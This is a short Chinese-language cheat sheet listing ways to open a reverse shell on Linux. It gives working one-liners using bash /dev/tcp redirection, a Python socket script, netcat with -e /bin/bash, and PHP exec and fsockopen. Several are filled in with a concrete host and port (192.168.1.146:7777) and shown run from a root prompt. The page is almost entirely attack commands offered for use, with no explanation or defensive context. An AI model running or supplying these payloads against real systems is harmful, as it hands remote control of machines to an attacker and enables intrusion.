[整理]Linux下几种常见的反弹shell方式
方法1:使用linux命令反弹shell
反弹shell命令格式如下:
bash -i >& /dev/tcp/ip/port 0>&1
方法2:使用python反弹shell
反弹shell命令格式如下:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
方法3:使用nc反弹shell
命令如下:
[root@localhost ~]# nc -e /bin/bash 192.168.1.146 7777
方法4:使用php反弹shell
1).使用php的exec函数执行方法1反弹shell的命令
[root@localhost ~]# php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.1.146/7777");'
2).使用php的fsockopen去连接远程
命令格式如下:
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
执行以下命令:
[root@localhost ~]# php -r '$sock=fsockopen("192.168.1.146",7777);exec("/bin/bash -i <&3 >&3 2>&3");'